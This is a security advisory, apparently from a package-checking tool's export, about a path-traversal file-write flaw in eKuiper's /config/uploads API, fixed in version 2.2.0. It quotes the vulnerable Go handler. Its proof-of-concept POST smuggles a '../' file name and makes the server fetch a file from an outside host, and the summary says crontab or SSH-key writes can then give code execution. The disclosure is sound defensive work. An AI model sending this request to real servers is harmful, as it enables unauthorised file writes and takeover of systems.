github.com/lf-edge/ekuiper/v2
Affected
- introduced
0, fixed2.2.0(semver)
Fixed versions
2.2.0
Fix
- Fixed version
2.2.0go get github.com/lf-edge/ekuiper/[email protected]
Advisory
Also known as: GO-2025-3800
eKuiper /config/uploads API arbitrary file writing may lead to RCE
Summary
eKuiper /config/uploads API supports accessing remote web URLs and saving files in the local upload directory, but there are no security restrictions, resulting in arbitrary file writing through ../. If run with root privileges, RCE can be achieved by writing crontab files or ssh keys.
Details
func fileUploadHandler(w http.ResponseWriter, r *http.Request) {
switch r.Method {
// Upload or overwrite a file
case http.MethodPost:
switch r.Header.Get("Content-Type") {
case "application/json":
fc := &fileContent{}
defer r.Body.Close()
err := json.NewDecoder(r.Body).Decode(fc)
if err != nil {
handleError(w, err, "Invalid body: Error decoding file json", logger)
return
}
err = fc.Validate()
if err != nil {
handleError(w, err, "Invalid body: missing necessary field", logger)
return
}
filePath := filepath.Join(uploadDir, fc.Name)
err = upload(fc)
PoC
POST /config/uploads HTTP/1.1
Host: localhost:9081
Content-Type: application/json
Content-Length: 89
{
"name": "../../../../tmp/success",
"file": "http://192.168.65.254:8888/success"
}
Impact
Tested and verified only on 1.14.3 and 1.14.1, theoretically all versions using this code could be affected.
The reporters is m0d9 from Tencent YunDing Lab.
High Basis: The source's own band: HIGH
0, fixed 2.2.0 (semver)2.2.0
2.2.0go get github.com/lf-edge/ekuiper/[email protected]0, last affected 1.14.7 (semver)None listed
No fixed version is listed.
Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0